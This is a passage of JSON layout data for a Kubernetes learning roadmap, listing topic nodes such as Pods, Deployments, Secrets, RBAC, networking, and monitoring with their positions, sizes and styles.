297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.8618127280065,\n        \"y\": 50.40074822234891\n      }\n    },\n    {\n      \"id\": \"q-Ky0ietZGpyUcBQfh-BJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.8618127280065,\n        \"y\": 103.40074822234891\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Why use Kubernetes?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3fzuXKH7az_LVnmnoXB1p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.8618127280065,\n        \"y\": 103.40074822234891\n      }\n    },\n    {\n      \"id\": \"9oo2fxTM2_p0VYPBroqxa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.8618127280065,\n        \"y\": 156.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Key Concepts and Terminologies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"3fzuXKH7az_LVnmnoXB1p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.8618127280065,\n        \"y\": 156.4007482223489\n      }\n    },\n    {\n      \"id\": \"3fzuXKH7az_LVnmnoXB1p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 41.8618127280065,\n        \"y\": 209.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Kubernetes Alternatives\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 297,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 297\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 41.8618127280065,\n        \"y\": 209.4007482223489\n      }\n    },\n    {\n      \"id\": \"HGmeYvRf7_XusZl_K4x9k\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.1381872719935,\n        \"y\": 172.40074822234897\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Containers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -315.1381872719935,\n        \"y\": 172.40074822234897\n      }\n    },\n    {\n      \"id\": \"3OpGaQhyNtk1n1MLp-tlb\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.1381872719935,\n        \"y\": 225.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Setting up Kubernetes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -315.1381872719935,\n        \"y\": 225.4007482223489\n      }\n    },\n    {\n      \"id\": \"zrbSJa3k7a3TE0aYbWi9c\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 174.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deploying your First Application\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YaIs8lquWIe1D7RCUBZmC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 174.4007482223489\n      }\n    },\n    {\n      \"id\": \"qSatCdBTDXPu-IFWzUI99\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 227.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Choosing a Managed Provider\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"YaIs8lquWIe1D7RCUBZmC\"\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 227.4007482223489\n      }\n    },\n    {\n      \"id\": \"YaIs8lquWIe1D7RCUBZmC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 280.4007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Installing a Local Cluster\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 293,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 293\n      },\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 280.4007482223489\n      }\n    },\n    {\n      \"id\": \"1MdrzhktCWjpmxiYYBdz7\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.1381872719935,\n        \"y\": 384.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Running Applications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -315.1381872719935,\n        \"y\": 384.9007482223489\n      }\n    },\n    {\n      \"id\": \"-d2PIXm0V_Iehe8cws8zK\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 332.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Pods\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AJiRBEaKU8qYEm0fqN389\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145\n      },\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 332.9007482223489\n      }\n    },\n    {\n      \"id\": \"IF09l0-pryGpMbDt__ocr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.8618127280065,\n        \"y\": 332.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"ReplicaSets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146\n      },\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 191.8618127280065,\n        \"y\": 332.9007482223489\n      }\n    },\n    {\n      \"id\": \"TUGQX7y1gs-aKPge2F1NU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 385.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Deployments\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"r3fzAN5DzratAKnnT8hzb\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145\n      },\n      \"measured\": {\n        \"width\": 148,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 385.9007482223489\n      }\n    },\n    {\n      \"id\": \"AJiRBEaKU8qYEm0fqN389\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 191.8618127280065,\n        \"y\": 385.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"StatefulSets\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"IF09l0-pryGpMbDt__ocr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 146,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 146\n      },\n      \"measured\": {\n        \"width\": 146,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 191.8618127280065,\n        \"y\": 385.9007482223489\n      }\n    },\n    {\n      \"id\": \"r3fzAN5DzratAKnnT8hzb\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 439.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Jobs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"AJiRBEaKU8qYEm0fqN389\"\n      },\n      \"zIndex\": 999,\n      \"width\": 145,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 145\n      },\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 439.9007482223489\n      }\n    },\n    {\n      \"id\": \"aUJ_w2L8nxNq3DfAW97Gd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -315.1381872719935,\n        \"y\": 535.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Services and Networking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 241,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -315.1381872719935,\n        \"y\": 535.900748222349\n      }\n    },\n    {\n      \"id\": \"jUOlITLqnIvSu97I_3nBz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -377.1381872719935,\n        \"y\": 619.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"External Access to Services\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"44rhdieUCWsGFC_1__9kk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278\n      },\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -377.1381872719935,\n        \"y\": 619.900748222349\n      }\n    },\n    {\n      \"id\": \"Qelo1YvAcUoX5PA-RYbNp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -377.1381872719935,\n        \"y\": 672.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Load Balancing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"44rhdieUCWsGFC_1__9kk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 278\n      },\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -377.1381872719935,\n        \"y\": 672.900748222349\n      }\n    },\n    {\n      \"id\": \"44rhdieUCWsGFC_1__9kk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -377.1381872719935,\n        \"y\": 725.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Networking & Pod-to-Pod Communication\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 278,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 278\n      },\n      \"measured\": {\n        \"width\": 364,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -377.1381872719935,\n        \"y\": 725.900748222349\n      }\n    },\n    {\n      \"id\": \"dj7Tb2XTX4kxRUYiTjlhM\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -710.1381872719935,\n        \"y\": 535.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Configuration Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.1381872719935,\n        \"y\": 535.900748222349\n      }\n    },\n    {\n      \"id\": \"u24UlZKI86vaguj_VpMv1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 391.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Injecting Pod Config with ConfigMaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"S0CwGC2gMG-SqnLNldqBD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 331,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 391.9007482223489\n      }\n    },\n    {\n      \"id\": \"S0CwGC2gMG-SqnLNldqBD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 444.9007482223489\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Using Secrets for Sensitive Data\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 292,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 331,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 444.9007482223489\n      }\n    },\n    {\n      \"id\": \"eWKkdiBhD5x2sGYajmHEs\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -710.1381872719935,\n        \"y\": 825.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Resource Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 261,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.1381872719935,\n        \"y\": 825.900748222349\n      }\n    },\n    {\n      \"id\": \"8RLR6gRjIyTn6GCugEfgk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 923.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Setting Resource Requests and Limits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PP4ld_vvjpY3QltBBsXKD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 362,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 362\n      },\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 923.900748222349\n      }\n    },\n    {\n      \"id\": \"OHz4QMmA3lqL_C7aWL8Ga\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 976.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Assigning Quotas to Namespaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"PP4ld_vvjpY3QltBBsXKD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 362,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 362\n      },\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 976.900748222349\n      }\n    },\n    {\n      \"id\": \"PP4ld_vvjpY3QltBBsXKD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1030.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Monitoring & Optimizing Resource Usage\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 362,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 362\n      },\n      \"measured\": {\n        \"width\": 365,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -745.1381872719935,\n        \"y\": 1030.900748222349\n      }\n    },\n    {\n      \"id\": \"SG3wtV2rt9nmLEkgrp_zP\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 81.8618127280065,\n        \"y\": 825.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.8618127280065,\n        \"y\": 825.900748222349\n      }\n    },\n    {\n      \"id\": \"jOq0WwLrq8tlmOgo64QDc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 564.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Role Based Access Control (RBAC)\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i7qxaFhFHPfe3fGEgsbcE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 317,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 564.900748222349\n      }\n    },\n    {\n      \"id\": \"s0gHg8CqwrSylpSPu8arA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 617.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Network Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i7qxaFhFHPfe3fGEgsbcE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 617.900748222349\n      }\n    },\n    {\n      \"id\": \"Nja7IFWcFTLsPcqbvRNm9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 670.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Container and Pod Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"i7qxaFhFHPfe3fGEgsbcE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 670.900748222349\n      }\n    },\n    {\n      \"id\": \"i7qxaFhFHPfe3fGEgsbcE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 40.8618127280065,\n        \"y\": 723.900748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Container and Pod Security\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 320,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 40.8618127280065,\n        \"y\": 723.900748222349\n      }\n    },\n    {\n      \"id\": \"AgsQnQjyTLUFhFpRdcE13\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 81.8618127280065,\n        \"y\": 977.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Monitoring and Logging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"t8SJbGVXsUDECxePLDk_w\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 69,\n      \"style\": {\n        \"width\": 225\n      },\n      \"measured\": {\n        \"width\": 238,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 81.8618127280065,\n        \"y\": 977.400748222349\n      }\n    },\n    {\n      \"id\": \"-XxQtiLDAkXs7IFM_Ddw6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -299.1381872719935,\n        \"y\": 924.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Logs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"FANswgUhUb5Iuah2fni3L\"\n      },\n      \"zIndex\": 999,\n      \"width\": 82,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -299.1381872719935,\n        \"y\": 924.400748222349\n      }\n    },\n    {\n      \"id\": \"nqUBHBFUYFdYqCKZvfXBR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -205.1381872719935,\n        \"y\": 924.400748222349\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Metrics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ldYTEPt_hI4PXxr3tgJi5\"\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"measured\": {\n        \"width\": 90,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -205.1381872719935,\n        \"y\": 924.400748222349\n      }\n    },\n    {\n      \"id\": \"ldYTEPt_hI4PXxr3tgJi5\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -111.1381872719935,\n        \"y\": 